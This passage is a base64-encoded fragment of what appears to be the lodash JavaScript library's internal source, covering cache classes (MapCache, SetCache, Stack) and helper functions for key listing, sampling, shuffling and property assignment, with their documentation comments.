G4gICAgICB2YXIgZGF0YSA9IGdldE1hcERhdGEodGhpcywga2V5KSxcbiAgICAgICAgICBzaXplID0gZGF0YS5zaXplO1xuXG4gICAgICBkYXRhLnNldChrZXksIHZhbHVlKTtcbiAgICAgIHRoaXMuc2l6ZSArPSBkYXRhLnNpemUgPT0gc2l6ZSA/IDAgOiAxO1xuICAgICAgcmV0dXJuIHRoaXM7XG4gICAgfVxuXG4gICAgLy8gQWRkIG1ldGhvZHMgdG8gYE1hcENhY2hlYC5cbiAgICBNYXBDYWNoZS5wcm90b3R5cGUuY2xlYXIgPSBtYXBDYWNoZUNsZWFyO1xuICAgIE1hcENhY2hlLnByb3RvdHlwZVsnZGVsZXRlJ10gPSBtYXBDYWNoZURlbGV0ZTtcbiAgICBNYXBDYWNoZS5wcm90b3R5cGUuZ2V0ID0gbWFwQ2FjaGVHZXQ7XG4gICAgTWFwQ2FjaGUucHJvdG90eXBlLmhhcyA9IG1hcENhY2hlSGFzO1xuICAgIE1hcENhY2hlLnByb3RvdHlwZS5zZXQgPSBtYXBDYWNoZVNldDtcblxuICAgIC8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi9cblxuICAgIC8qKlxuICAgICAqXG4gICAgICogQ3JlYXRlcyBhbiBhcnJheSBjYWNoZSBvYmplY3QgdG8gc3RvcmUgdW5pcXVlIHZhbHVlcy5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQGNvbnN0cnVjdG9yXG4gICAgICogQHBhcmFtIHtBcnJheX0gW3ZhbHVlc10gVGhlIHZhbHVlcyB0byBjYWNoZS5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBTZXRDYWNoZSh2YWx1ZXMpIHtcbiAgICAgIHZhciBpbmRleCA9IC0xLFxuICAgICAgICAgIGxlbmd0aCA9IHZhbHVlcyA9PSBudWxsID8gMCA6IHZhbHVlcy5sZW5ndGg7XG5cbiAgICAgIHRoaXMuX19kYXRhX18gPSBuZXcgTWFwQ2FjaGU7XG4gICAgICB3aGlsZSAoKytpbmRleCA8IGxlbmd0aCkge1xuICAgICAgICB0aGlzLmFkZCh2YWx1ZXNbaW5kZXhdKTtcbiAgICAgIH1cbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBBZGRzIGB2YWx1ZWAgdG8gdGhlIGFycmF5IGNhY2hlLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAbmFtZSBhZGRcbiAgICAgKiBAbWVtYmVyT2YgU2V0Q2FjaGVcbiAgICAgKiBAYWxpYXMgcHVzaFxuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNhY2hlLlxuICAgICAqIEByZXR1cm5zIHtPYmplY3R9IFJldHVybnMgdGhlIGNhY2hlIGluc3RhbmNlLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIHNldENhY2hlQWRkKHZhbHVlKSB7XG4gICAgICB0aGlzLl9fZGF0YV9fLnNldCh2YWx1ZSwgSEFTSF9VTkRFRklORUQpO1xuICAgICAgcmV0dXJuIHRoaXM7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ2hlY2tzIGlmIGB2YWx1ZWAgaXMgaW4gdGhlIGFycmF5IGNhY2hlLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAbmFtZSBoYXNcbiAgICAgKiBAbWVtYmVyT2YgU2V0Q2FjaGVcbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBzZWFyY2ggZm9yLlxuICAgICAqIEByZXR1cm5zIHtudW1iZXJ9IFJldHVybnMgYHRydWVgIGlmIGB2YWx1ZWAgaXMgZm91bmQsIGVsc2UgYGZhbHNlYC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBzZXRDYWNoZUhhcyh2YWx1ZSkge1xuICAgICAgcmV0dXJuIHRoaXMuX19kYXRhX18uaGFzKHZhbHVlKTtcbiAgICB9XG5cbiAgICAvLyBBZGQgbWV0aG9kcyB0byBgU2V0Q2FjaGVgLlxuICAgIFNldENhY2hlLnByb3RvdHlwZS5hZGQgPSBTZXRDYWNoZS5wcm90b3R5cGUucHVzaCA9IHNldENhY2hlQWRkO1xuICAgIFNldENhY2hlLnByb3RvdHlwZS5oYXMgPSBzZXRDYWNoZUhhcztcblxuICAgIC8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi9cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBzdGFjayBjYWNoZSBvYmplY3QgdG8gc3RvcmUga2V5LXZhbHVlIHBhaXJzLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAY29uc3RydWN0b3JcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBbZW50cmllc10gVGhlIGtleS12YWx1ZSBwYWlycyB0byBjYWNoZS5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBTdGFjayhlbnRyaWVzKSB7XG4gICAgICB2YXIgZGF0YSA9IHRoaXMuX19kYXRhX18gPSBuZXcgTGlzdENhY2hlKGVudHJpZXMpO1xuICAgICAgdGhpcy5zaXplID0gZGF0YS5zaXplO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFJlbW92ZXMgYWxsIGtleS12YWx1ZSBlbnRyaWVzIGZyb20gdGhlIHN0YWNrLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAbmFtZSBjbGVhclxuICAgICAqIEBtZW1iZXJPZiBTdGFja1xuICAgICAqL1xuICAgIGZ1bmN0aW9uIHN0YWNrQ2xlYXIoKSB7XG4gICAgICB0aGlzLl9fZGF0YV9fID0gbmV3IExpc3RDYWNoZTtcbiAgICAgIHRoaXMuc2l6ZSA9IDA7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogUmVtb3ZlcyBga2V5YCBhbmQgaXRzIHZhbHVlIGZyb20gdGhlIHN0YWNrLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAbmFtZSBkZWxldGVcbiAgICAgKiBAbWVtYmVyT2YgU3RhY2tcbiAgICAgKiBAcGFyYW0ge3N0cmluZ30ga2V5IFRoZSBrZXkgb2YgdGhlIHZhbHVlIHRvIHJlbW92ZS5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgdGhlIGVudHJ5IHdhcyByZW1vdmVkLCBlbHNlIGBmYWxzZWAuXG4gICAgICovXG4gICAgZnVuY3Rpb24gc3RhY2tEZWxldGUoa2V5KSB7XG4gICAgICB2YXIgZGF0YSA9IHRoaXMuX19kYXRhX18sXG4gICAgICAgICAgcmVzdWx0ID0gZGF0YVsnZGVsZXRlJ10oa2V5KTtcblxuICAgICAgdGhpcy5zaXplID0gZGF0YS5zaXplO1xuICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBHZXRzIHRoZSBzdGFjayB2YWx1ZSBmb3IgYGtleWAuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBuYW1lIGdldFxuICAgICAqIEBtZW1iZXJPZiBTdGFja1xuICAgICAqIEBwYXJhbSB7c3RyaW5nfSBrZXkgVGhlIGtleSBvZiB0aGUgdmFsdWUgdG8gZ2V0LlxuICAgICAqIEByZXR1cm5zIHsqfSBSZXR1cm5zIHRoZSBlbnRyeSB2YWx1ZS5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBzdGFja0dldChrZXkpIHtcbiAgICAgIHJldHVybiB0aGlzLl9fZGF0YV9fLmdldChrZXkpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENoZWNrcyBpZiBhIHN0YWNrIHZhbHVlIGZvciBga2V5YCBleGlzdHMuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBuYW1lIGhhc1xuICAgICAqIEBtZW1iZXJPZiBTdGFja1xuICAgICAqIEBwYXJhbSB7c3RyaW5nfSBrZXkgVGhlIGtleSBvZiB0aGUgZW50cnkgdG8gY2hlY2suXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGFuIGVudHJ5IGZvciBga2V5YCBleGlzdHMsIGVsc2UgYGZhbHNlYC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBzdGFja0hhcyhrZXkpIHtcbiAgICAgIHJldHVybiB0aGlzLl9fZGF0YV9fLmhhcyhrZXkpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFNldHMgdGhlIHN0YWNrIGBrZXlgIHRvIGB2YWx1ZWAuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBuYW1lIHNldFxuICAgICAqIEBtZW1iZXJPZiBTdGFja1xuICAgICAqIEBwYXJhbSB7c3RyaW5nfSBrZXkgVGhlIGtleSBvZiB0aGUgdmFsdWUgdG8gc2V0LlxuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIHNldC5cbiAgICAgKiBAcmV0dXJucyB7T2JqZWN0fSBSZXR1cm5zIHRoZSBzdGFjayBjYWNoZSBpbnN0YW5jZS5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBzdGFja1NldChrZXksIHZhbHVlKSB7XG4gICAgICB2YXIgZGF0YSA9IHRoaXMuX19kYXRhX187XG4gICAgICBpZiAoZGF0YSBpbnN0YW5jZW9mIExpc3RDYWNoZSkge1xuICAgICAgICB2YXIgcGFpcnMgPSBkYXRhLl9fZGF0YV9fO1xuICAgICAgICBpZiAoIU1hcCB8fCAocGFpcnMubGVuZ3RoIDwgTEFSR0VfQVJSQVlfU0laRSAtIDEpKSB7XG4gICAgICAgICAgcGFpcnMucHVzaChba2V5LCB2YWx1ZV0pO1xuICAgICAgICAgIHRoaXMuc2l6ZSA9ICsrZGF0YS5zaXplO1xuICAgICAgICAgIHJldHVybiB0aGlzO1xuICAgICAgICB9XG4gICAgICAgIGRhdGEgPSB0aGlzLl9fZGF0YV9fID0gbmV3IE1hcENhY2hlKHBhaXJzKTtcbiAgICAgIH1cbiAgICAgIGRhdGEuc2V0KGtleSwgdmFsdWUpO1xuICAgICAgdGhpcy5zaXplID0gZGF0YS5zaXplO1xuICAgICAgcmV0dXJuIHRoaXM7XG4gICAgfVxuXG4gICAgLy8gQWRkIG1ldGhvZHMgdG8gYFN0YWNrYC5cbiAgICBTdGFjay5wcm90b3R5cGUuY2xlYXIgPSBzdGFja0NsZWFyO1xuICAgIFN0YWNrLnByb3RvdHlwZVsnZGVsZXRlJ10gPSBzdGFja0RlbGV0ZTtcbiAgICBTdGFjay5wcm90b3R5cGUuZ2V0ID0gc3RhY2tHZXQ7XG4gICAgU3RhY2sucHJvdG90eXBlLmhhcyA9IHN0YWNrSGFzO1xuICAgIFN0YWNrLnByb3RvdHlwZS5zZXQgPSBzdGFja1NldDtcblxuICAgIC8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi9cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYW4gYXJyYXkgb2YgdGhlIGVudW1lcmFibGUgcHJvcGVydHkgbmFtZXMgb2YgdGhlIGFycmF5LWxpa2UgYHZhbHVlYC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gcXVlcnkuXG4gICAgICogQHBhcmFtIHtib29sZWFufSBpbmhlcml0ZWQgU3BlY2lmeSByZXR1cm5pbmcgaW5oZXJpdGVkIHByb3BlcnR5IG5hbWVzLlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgYXJyYXkgb2YgcHJvcGVydHkgbmFtZXMuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYXJyYXlMaWtlS2V5cyh2YWx1ZSwgaW5oZXJpdGVkKSB7XG4gICAgICB2YXIgaXNBcnIgPSBpc0FycmF5KHZhbHVlKSxcbiAgICAgICAgICBpc0FyZyA9ICFpc0FyciAmJiBpc0FyZ3VtZW50cyh2YWx1ZSksXG4gICAgICAgICAgaXNCdWZmID0gIWlzQXJyICYmICFpc0FyZyAmJiBpc0J1ZmZlcih2YWx1ZSksXG4gICAgICAgICAgaXNUeXBlID0gIWlzQXJyICYmICFpc0FyZyAmJiAhaXNCdWZmICYmIGlzVHlwZWRBcnJheSh2YWx1ZSksXG4gICAgICAgICAgc2tpcEluZGV4ZXMgPSBpc0FyciB8fCBpc0FyZyB8fCBpc0J1ZmYgfHwgaXNUeXBlLFxuICAgICAgICAgIHJlc3VsdCA9IHNraXBJbmRleGVzID8gYmFzZVRpbWVzKHZhbHVlLmxlbmd0aCwgU3RyaW5nKSA6IFtdLFxuICAgICAgICAgIGxlbmd0aCA9IHJlc3VsdC5sZW5ndGg7XG5cbiAgICAgIGZvciAodmFyIGtleSBpbiB2YWx1ZSkge1xuICAgICAgICBpZiAoKGluaGVyaXRlZCB8fCBoYXNPd25Qcm9wZXJ0eS5jYWxsKHZhbHVlLCBrZXkpKSAmJlxuICAgICAgICAgICAgIShza2lwSW5kZXhlcyAmJiAoXG4gICAgICAgICAgICAgICAvLyBTYWZhcmkgOSBoYXMgZW51bWVyYWJsZSBgYXJndW1lbnRzLmxlbmd0aGAgaW4gc3RyaWN0IG1vZGUuXG4gICAgICAgICAgICAgICBrZXkgPT0gJ2xlbmd0aCcgfHxcbiAgICAgICAgICAgICAgIC8vIE5vZGUuanMgMC4xMCBoYXMgZW51bWVyYWJsZSBub24taW5kZXggcHJvcGVydGllcyBvbiBidWZmZXJzLlxuICAgICAgICAgICAgICAgKGlzQnVmZiAmJiAoa2V5ID09ICdvZmZzZXQnIHx8IGtleSA9PSAncGFyZW50JykpIHx8XG4gICAgICAgICAgICAgICAvLyBQaGFudG9tSlMgMiBoYXMgZW51bWVyYWJsZSBub24taW5kZXggcHJvcGVydGllcyBvbiB0eXBlZCBhcnJheXMuXG4gICAgICAgICAgICAgICAoaXNUeXBlICYmIChrZXkgPT0gJ2J1ZmZlcicgfHwga2V5ID09ICdieXRlTGVuZ3RoJyB8fCBrZXkgPT0gJ2J5dGVPZmZzZXQnKSkgfHxcbiAgICAgICAgICAgICAgIC8vIFNraXAgaW5kZXggcHJvcGVydGllcy5cbiAgICAgICAgICAgICAgIGlzSW5kZXgoa2V5LCBsZW5ndGgpXG4gICAgICAgICAgICApKSkge1xuICAgICAgICAgIHJlc3VsdC5wdXNoKGtleSk7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgIHJldHVybiByZXN1bHQ7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQSBzcGVjaWFsaXplZCB2ZXJzaW9uIG9mIGBfLnNhbXBsZWAgZm9yIGFycmF5cy5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtBcnJheX0gYXJyYXkgVGhlIGFycmF5IHRvIHNhbXBsZS5cbiAgICAgKiBAcmV0dXJucyB7Kn0gUmV0dXJucyB0aGUgcmFuZG9tIGVsZW1lbnQuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYXJyYXlTYW1wbGUoYXJyYXkpIHtcbiAgICAgIHZhciBsZW5ndGggPSBhcnJheS5sZW5ndGg7XG4gICAgICByZXR1cm4gbGVuZ3RoID8gYXJyYXlbYmFzZVJhbmRvbSgwLCBsZW5ndGggLSAxKV0gOiB1bmRlZmluZWQ7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQSBzcGVjaWFsaXplZCB2ZXJzaW9uIG9mIGBfLnNhbXBsZVNpemVgIGZvciBhcnJheXMuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBhcnJheSB0byBzYW1wbGUuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IG4gVGhlIG51bWJlciBvZiBlbGVtZW50cyB0byBzYW1wbGUuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSByYW5kb20gZWxlbWVudHMuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYXJyYXlTYW1wbGVTaXplKGFycmF5LCBuKSB7XG4gICAgICByZXR1cm4gc2h1ZmZsZVNlbGYoY29weUFycmF5KGFycmF5KSwgYmFzZUNsYW1wKG4sIDAsIGFycmF5Lmxlbmd0aCkpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIEEgc3BlY2lhbGl6ZWQgdmVyc2lvbiBvZiBgXy5zaHVmZmxlYCBmb3IgYXJyYXlzLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gc2h1ZmZsZS5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIG5ldyBzaHVmZmxlZCBhcnJheS5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBhcnJheVNodWZmbGUoYXJyYXkpIHtcbiAgICAgIHJldHVybiBzaHVmZmxlU2VsZihjb3B5QXJyYXkoYXJyYXkpKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIGZ1bmN0aW9uIGlzIGxpa2UgYGFzc2lnblZhbHVlYCBleGNlcHQgdGhhdCBpdCBkb2Vzbid0IGFzc2lnblxuICAgICAqIGB1bmRlZmluZWRgIHZhbHVlcy5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgb2JqZWN0IHRvIG1vZGlmeS5cbiAgICAgKiBAcGFyYW0ge3N0cmluZ30ga2V5IFRoZSBrZXkgb2YgdGhlIHByb3BlcnR5IHRvIGFzc2lnbi5cbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBhc3NpZ24uXG4gICAgICovXG4gICAgZnVuY3Rpb24gYXNzaWduTWVyZ2VWYWx1ZShvYmplY3QsIGtleSwgdmFsdWUpIHtcbiAgICAgIGlmICgodmFsdWUgIT09IHVuZGVmaW5lZCAmJiAhZXEob2JqZWN0W2tleV0sIHZhbHVlKSkgfHxcbiAgICAgICAgICAodmFsdWUgPT09IHVuZGVmaW5lZCAmJiAhKGtleSBpbiBvYmplY3QpKSkge1xuICAgICAgICBiYXNlQXNzaWduVmFsdWUob2JqZWN0LCBrZXksIHZhbHVlKTtcbiAgICAgIH1cbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBBc3NpZ25zIGB2YWx1ZWAgdG8gYGtleWAgb2YgYG9iamVjdGAgaWYgdGhlIGV4aXN0aW5nIHZhbHVlIGlzIG5vdCBlcXVpdmFsZW50XG4gICAgICogdXNpbmcgW2BTYW1lVmFsdWVaZXJvYF0oaHR0cDovL2VjbWEtaW50ZXJuYXRpb25hbC5vcmcvZWNtYS0yNjIvNy4wLyNzZWMtc2FtZXZhbHVlemVybylcbiAgICAgKiBmb3IgZXF1YWxpdHkgY29tcGFyaXNvbnMuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIG9iamVjdCB0byBtb2RpZnkuXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IGtleSBUaGUga2V5IG9mIHRoZSBwcm9wZXJ0eSB0byBhc3NpZ24uXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gYXNzaWduLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGFzc2lnblZhbHVlKG9iamVjdCwga2V5LCB2YWx1ZSkge1xuICAgICAgdmFyIG9ialZhbHVlID0gb2JqZWN0W2tleV07XG4gICAgICBpZiAoIShoYXNPd25Qcm9wZXJ0eS5jYWxsKG9iamVjdCwga2V5KSAmJiBlcShvYmpWYWx1ZSwgdmFsdWUpKSB8fFxuICAgICAgICAgICh2YWx1ZSA9PT0gdW5kZWZpbmVkICYmICEoa2V5IGluIG9iamVjdCkpKSB7XG4gICAgICAgIGJhc2VBc3NpZ25WYWx1ZShvYmplY3QsIGtleSwgdmFsdWUpO1xuICAgICAgfVxuICAgIH1cblxuICAgIC8qKlxuICAgICAqIEdldHMgdGhlIGluZGV4IGF0IHdoaWNoIHRoZSBga2V5YCBpcyBmb3VuZCBpbiBgYXJyYXlgIG9mIGtleS12YWx1ZSBwYWlycy5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtBcnJheX0gYXJyYXkgVGhlIGFycmF5IHRvIGluc3BlY3QuXG4gICAgICogQHBhcmFtIHsqfSBrZXkgVGhlIGtleSB0byBzZWFyY2ggZm9yLlxuICAgICAqIEByZXR1cm5zIHtudW1iZXJ9IFJldHVybnMgdGhlIGluZGV4IG9mIHRoZSBtYXRjaGVkIHZhbHVlLCBlbHNlIGAtMWAuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYXNzb2NJbmRleE9mKGFycmF5LCBrZXkpIHtcbiAgICAgIHZhciBsZW5ndGggPSBhcnJheS5sZW5ndGg7XG4gICAgICB3aGlsZSAobGVuZ3RoLS0pIHtcbiAgICAgICAgaWYgKGVxKGFycmF5W2xlbmd0aF1bMF0sIGtleSkpIHtcbiAgICAgICAgICByZXR1cm4gbGVuZ3RoO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICByZXR1cm4gLTE7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQWdncmVnYXRlcyBlbGVtZW50cyBvZiBgY29sbGVjdGlvbmAgb24gYGFjY3VtdWxhdG9yYCB3aXRoIGtleXMgdHJhbnNmb3JtZWRcbiAgICAgKiBieSBgaXRlcmF0ZWVgIGFuZCB2YWx1ZXMgc2V0IGJ5IGBzZXR0ZXJgLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge0FycmF5fE9iamVjdH0gY29sbGVjdGlvbiBUaGUgY29sbGVjdGlvbiB0byBpdGVyYXRlIG92ZXIuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gc2V0dGVyIFRoZSBmdW5jdGlvbiB0byBzZXQgYGFjY3VtdWxhdG9yYCB2YWx1ZXMuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gaXRlcmF0ZWUgVGhlIGl0ZXJhdGVlIHRvIHRyYW5zZm9ybSBrZXlzLlxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBhY2N1bXVsYXRvciBUaGUgaW5pdGlhbCBhZ2dyZWdhdGVkIG9iamVjdC5cbiAgICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgYGFjY3VtdWxhdG9yYC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlQWdncmVnYXRvcihjb2xsZWN0aW9uLCBzZXR0ZXIsIGl0ZXJhdGVlLCBhY2N1bXVsYXRvcikge1xuICAgICAgYmFzZUVhY2goY29sbGVjdGlvbiwgZnVuY3Rpb24odmFsdWUsIGtleSwgY29sbGVjdGlvbikge1xuICAgICAgICBzZXR0ZXIoYWNjdW11bGF0b3IsIHZhbHVlLCBpdGVyYXRlZSh2YWx1ZSksIGNvbGxlY3Rpb24pO1xuICAgICAgfSk7XG4gICAgICByZXR1cm4gYWNjdW11bGF0b3I7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYF8uYXNzaWduYCB3aXRob3V0IHN1cHBvcnQgZm9yIG11bHRpcGxlIHNvdXJjZXNcbiAgICAgKiBvciBgY3VzdG9taXplcmAgZnVuY3Rpb25zLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBkZXN0aW5hdGlvbiBvYmplY3QuXG4gICAgICogQHBhcmFtIHtPYmplY3R9IHNvdXJjZSBUaGUgc291cmNlIG9iamVjdC5cbiAgICAgKiBAcmV0dXJucyB7T2JqZWN0fSBSZXR1cm5zIGBvYmplY3RgLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGJhc2VBc3NpZ24ob2JqZWN0LCBzb3VyY2UpIHtcbiAgICAgIHJldHVybiBvYmplY3QgJiYgY29weU9iamVjdChzb3VyY2UsIGtleXMoc291cmNlKSwgb2JqZWN0KTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBgXy5hc3NpZ25JbmAgd2l0aG91dCBzdXBwb3J0IGZvciBtdWx0aXBsZSBzb3VyY2VzXG4gICAgICogb3IgYGN1c3RvbWl6ZXJgIGZ1bmN0aW9ucy5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgZGVzdGluYXRpb24gb2JqZWN0LlxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBzb3VyY2UgVGhlIHNvdXJjZSBvYmplY3QuXG4gICAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyBgb2JqZWN0YC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlQXNzaWduSW4ob2JqZWN0LCBzb3VyY2UpIHtcbiAgICAgIHJldHVybiBvYmplY3QgJiYgY29weU9iamVjdChzb3VyY2UsIGtleXNJbihzb3VyY2UpLCBvYmplY3QpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBhc3NpZ25WYWx1ZWAgYW5kIGBhc3NpZ25NZXJnZVZhbHVlYCB3aXRob3V0XG4gICAgICogdmFsdWUgY2hlY2tzLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gbW9kaWZ5LlxuICAgICAqIEBwYXJhbSB7c3RyaW5nfSBrZXkgVGhlIGtleSBvZiB0aGUgcHJvcGVydHkgdG8gYXNzaWduLlxuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGFzc2lnbi5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlQXNzaWduVmFsdWUob2JqZWN0LCBrZXksIHZhbHVlKSB7XG4gICAgICBpZiAoa2V5ID09ICdfX3Byb3RvX18nICYmIGRlZmluZVByb3BlcnR5KSB7XG4gICAgICAgIGRlZmluZVByb3BlcnR5KG9iamVjdCwga2V5LCB7XG4gICAgICAgICAgJ2NvbmZpZ3VyYWJsZSc6IHRydWUsXG4gICAgICAgICAgJ2VudW1lcmFibGUnOiB0cnVlLFxuICAgICAgICAgICd2YWx1ZSc6IHZhbHVlLFxuICAgICAgICAgICd3cml0YWJsZSc6IHRydWVcbiAgICAgICAgfSk7XG4gICAgICB9IGVsc2Uge1xuICAgICAgICBvYmplY3Rba2V5XSA9IHZhbHVlO1xuICAgICAgfVxuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLmF0YCB3aXRob3V0IHN1cHBvcnQgZm9yIGluZGl2aWR1YWwgcGF0aHMuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIG9iamVjdCB0byBpdGVyYXRlIG92ZXIuXG4gICAgICogQHBhcmFtIHtzdHJpbmdbXX0gcGF0aHMgVGhlIHByb3BlcnR5IHBhdGhzIHRvIHBpY2suXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBwaWNrZWQgZWxlbWVudHMuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYmFzZUF0KG9iamVjdCwgcGF0aHMpIHtcbiAgICAgIHZhciBpbmRleCA9IC0xLFxuICAgICAgICAgIGxlbmd0aCA9IHBhdGhzLmxlbmd0aCxcbiAgICAgICAgICByZXN1bHQgPSBBcnJheShsZW5ndGgpLFxuICAgICAgICAgIHNraXAgPSBvYmplY3QgPT0gbnVsbDtcblxuICAgICAgd2hpbGUgKCsraW5kZXggPCBsZW5ndGgpIHtcbiAgICAgICAgcmVzdWx0W2luZGV4XSA9IHNraXAgPyB1bmRlZmluZWQgOiBnZXQob2JqZWN0LCBwYXRoc1tpbmRleF0pO1xuICAgICAgfVxuICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBgXy5jbGFtcGAgd2hpY2ggZG9lc24ndCBjb2VyY2UgYXJndW1lbnRzLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge251bWJlcn0gbnVtYmVyIFRoZSBudW1iZXIgdG8gY2xhbXAuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtsb3dlcl0gVGhlIGxvd2VyIGJvdW5kLlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSB1cHBlciBUaGUgdXBwZXIgYm91bmQuXG4gICAgICogQHJldHVybnMge251bWJlcn0gUmV0dXJucyB0aGUgY2xhbXBlZCBudW1iZXIuXG4gICAgICovXG4gICAg